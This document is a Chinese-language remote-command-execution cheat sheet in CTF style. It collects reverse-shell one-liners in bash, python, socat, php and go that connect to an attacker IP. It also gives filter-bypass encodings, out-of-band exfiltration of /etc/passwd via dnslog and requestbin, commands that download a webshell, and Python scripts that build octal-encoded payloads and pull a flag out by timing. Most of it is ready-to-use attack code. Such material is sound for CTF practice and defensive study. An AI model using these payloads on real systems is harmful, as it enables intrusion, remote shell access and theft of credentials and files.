RCE

远程命令执行/远程代码执行 (Remote Command/Code Execute, RCE)

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#查看文件命令
cat/tac/more/less/head/tail/nl/od/uniq
grep test flag.php
php /flag #文件内容会被当成php代码执行,相当于include
php -t / -r "include('/flag');" #指定根目录,绕过open_basedir
sh /flag 2>&1 #sh+文件,并输出错误信息(蚁剑是这个原理)
sed p

#列目录命令
du -a .
chgrp -v -R

#打包文件
tar cvf xxx.tar . #将当前目录打包压缩为xxx.tar

#写入文件
ls > xxx
ls | tee xxx
script -a xxx; ls; exit; #依次执行
echo -e "%23!/bin/sh\nwhile read line\ndo\necho \$line\ndone < /flag" > ../../../read #写shell

#反弹shell
curl [IP] | sh #VPS payload: bash -c "bash -i >& /dev/tcp/[IP]/[Port] 0>&1"

命令分隔符

1
2
3
4
5
ping x.x.x.x;ls  #连续指令
ping x.x.x.x|ls #管道符(显示第二个命令结果)
ping x.x.x.x&ls #后台进程
ping x.x.x.x||ls #逻辑运算(第一个命令执行返回值正常,第二个命令才执行)
ping x.x.x.x&&ls #逻辑运算(如果第一个命令执行返回值正常,第二个命令就不执行了)

反弹shell

bash

1
2
3
4
5
6
bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1"
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9tYXg2LmZ1bi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}'
nc [IP] [Port] -e /bin/sh

#接收
nc -lvvnp [Port]

python

1
2
3
4
5
6
python3 -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("your-ip",7777));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvvnp 2333

python3 -c "import pty;pty.spawn('/bin/bash')" #模拟终端

socat

1
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:x.x.x.x:port

php

1
php -r '$sock=fsockopen("ip",6666);exec("/bin/bash -i <&3 >&3 2>&3");'

go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package main

import (
"fmt"
"log"
"os/exec"
)

func main() {
cmd := exec.Command("bash", "-c", "bash -i >& /dev/tcp/IP/PORT 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

绕过(bypass)

空格
1
<,<>,%20,%09,$IFS${IFS},$IFS$9,{cat,1.txt}
分号
1
%0a
命令(以pwd为例)
1
a=p;b=wd;$a$b,p''wd,p""wd,p\`\`wd,p\wd,pwd$u,`echo cHdk|base64 -d\`,echo "707764"|xxd -r -p|bash
关键词(以flag为例)
1
2
3
cat fla*,cat f???,cat flag$ucat fl"a"g,cat fl'a'g
cat /[e-i][k-n][1-z][e-i]
php -r "echo chr(47).chr(102).chr(108).chr(97).chr(103)"
IP地址

转数字地址:http://www.msxindl.com/tools/ip/ip_num.asp

无回显

1>1 创建文件名为1的空文件

a>1 虽报错,但可创建空文件

ls>1 把ls的内容导入1中

写文件
1
2
curl -o shell.php http://xxxxxx.txt
wget -O shell.php http://xxxxxx.txt

利用平台

1
2
3
curl http://requestbin.net/r/1kiej1p1?p=`whoami`
curl `cat /etc/passwd|base64`.xxxxxx.dnslog.cn #dnslog带外
curl bashupload.com -T your_file.txt #bashupload.com带外下载文件

参考txt:

http://php.loglog.jp/net/exec.php.txt

https://johannes.homepc.org/packet9.txt

https://metaeventos.net/userfiles/file/p.txt

https://www.cpdc.com.tw/uploads/zhang.txt

盲注(无回显)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string
import time

url='http://localhost.test.php/?c='
dic=string.printable[:-6]
flag=''

for i in range(1,50):
judge=0
for j in dic:
now=f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi'
start=time.time()
r=requests.get(now)
end=time.time()
if int(end)-int(start) >1:
judge=1
flag+=j
print(flag)
break
if judge==0:
break

print(flag)

其他命令:

1
2
3
4
5
if fgrep -c "a" "flag.txt"; then echo "T"; else "F"; fi
if ls | fgrep -c "a"; then echo "T"; else "F"; fi

[ $(head -c 2 flag.txt | tail -c 1) = 'a' ]
[ $(ls | head -c 2 | tail -c 1) = 'a' ]

无字母 / 特殊字符

禁用 ?

八进制(不能解析带有参数的命令)

ls -> $'\154\163'

禁用 ? 2-9

bash对于整数的表示形式是 [base#]n 的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为 2#100

在现有条件下,只要通过位运算 $((1<<1)) 构造出2,就可以通过这种形式来构造任意数字了,比方说 ls 就是$(($((1<<1))#10011010)) $(($((1<<1))#10100011)),但是 $'\154\163' 这种形式可以,而直接运行 $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' 会报错。

仔细看报错信息,可以看出,bash是确实把$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'这一串字符串解析为$'\154\163'这个形式了,但是没有进一步解析,也就是经过bash的处理,这一段字符变成了$'\154\163'而没有变成ls

这里引入bash的一个语法<<<三个小于号(here-strings),语法:command [args] <<<["]$word["]$word会展开并作为command的stdin。

所以只要把这个字符串作为$0(bash)命令的stdin,就可以执行命令了,比如:bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'

但是这种命令形式不支持带参数的复杂命令,仅支持不带参数的命令,是因为bash把这一个字符串当作整体,而没有把空格作为分隔符正确解析,所以,我们可以通过两次here-strings的方法来解析复杂的带参数命令。

1
2
3
4
5
6
7
8
cmd = 'ls -al'

payload = '$0<<<$0\\<\\<\\<\\$\\\''
for c in cmd:
payload += f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'

payload += '\\\''
print(payload)

仅含 <$!{}()_&

可以尝试通过${!?}${!#}的形式拿到bash,如果不行,仅能通过定义一个__=$(())的方式将__变量的值设置为0,然后通过${!__}的形式拿到sh字符。两条命令间通过&&进行连接。至于为什么是两个下划线,是因为bash的变量命名规范是以下划线或者英文字母开头,可以包含下划线和英文字母数字。

可以通过$(())取到0,然后对0进行按位取反,可以得到-1,很多个-1进行排列 可以得到-2、-3、-4、-5、-6、-7、-8,然后再按位取反就可以得到1、2、3、4、5、6、7。这样就得到了8进制命令拼接的所有数字。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cmd = 'ls -al'

r = {}

x = '$((~$(())))'#-1

for i in range(1,9):
r[i] = '$((~$(('+x
for j in range(i):
r[i] += x
r[i] += '))))'

r[0] = '$(())'

payload = '__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload += '\\\\'
for i in oct(ord(c))[2:]:
payload += r[int(i)]

payload += '\\\''
print(payload)

仅含 <$ {}\#()'0

重定向+八进制+数字构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
n = dict()
n[0] = '0'
n[1] = '${##}' #${##}计算#这个字符的长度为1,这里如果没有屏蔽!的话还可以用$((!$#))
n[2] = '$((${##}<<${##}))' #通过位运算得到2
n[3] = '$(($((${##}<<${##}))#${##}${##}))' #通过二进制11转换为十进制得到3,4,5,6,7
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s

def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''

def get_flag(url,payload): #盲注函数
try:
data = {'cmd':payload}
r = requests.post(url,data,timeout=1.5)
except:
return True
return False

#弹shell
#print(build('bash -i >& /dev/tcp/your-ip/2333 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
# for j in a:
# cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
# url = "http://ip/"
# if get_flag(url,build(cmd)):
# break
# f = f+j
# print(f)

参考:

安洵杯2020 - Bash-Vino0o0o

34c3 CTF - minbashmaxfun